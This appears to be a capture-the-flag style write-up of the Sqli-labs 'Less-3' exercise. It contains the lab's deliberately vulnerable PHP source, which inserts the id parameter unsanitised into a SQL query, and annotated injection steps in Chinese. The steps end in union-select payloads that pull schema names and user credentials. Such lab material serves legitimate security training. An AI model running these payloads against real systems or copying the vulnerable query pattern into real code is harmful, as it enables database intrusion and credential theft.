<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-3 Error Based- String (with Twist) </title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-3.jpg" /></center>
</body>
</html>
?id=1 and 1=1(正常回显)
?id=1 and 1=2(也正常)判断不是数字型
?id=1'(报错)从报错内容中看着有些不一样了,有个之前没有的),引起注意。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
?id=1' and '1'='1(正常回显)
?id=1' and '1'='2(出错)
?id=1' order by 1--+(查列数的时候也有这样的报错信息,大胆猜测有个()包裹着传入的信息。)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1-- ') LIMIT 0,1' at line 1
?id=1') order by 1--+(修改传入信息,正常回显了)
然后接着判断,有三列。
?id=-1') union select 1,database(),group_concat(schema_name) from information_schema.schemata--+(查数据库)
?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+(查表名)
?id=-1') union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+(查列名)
?id=-1') union select 1,database(),group_concat(id,username,password) from users--+(查数据)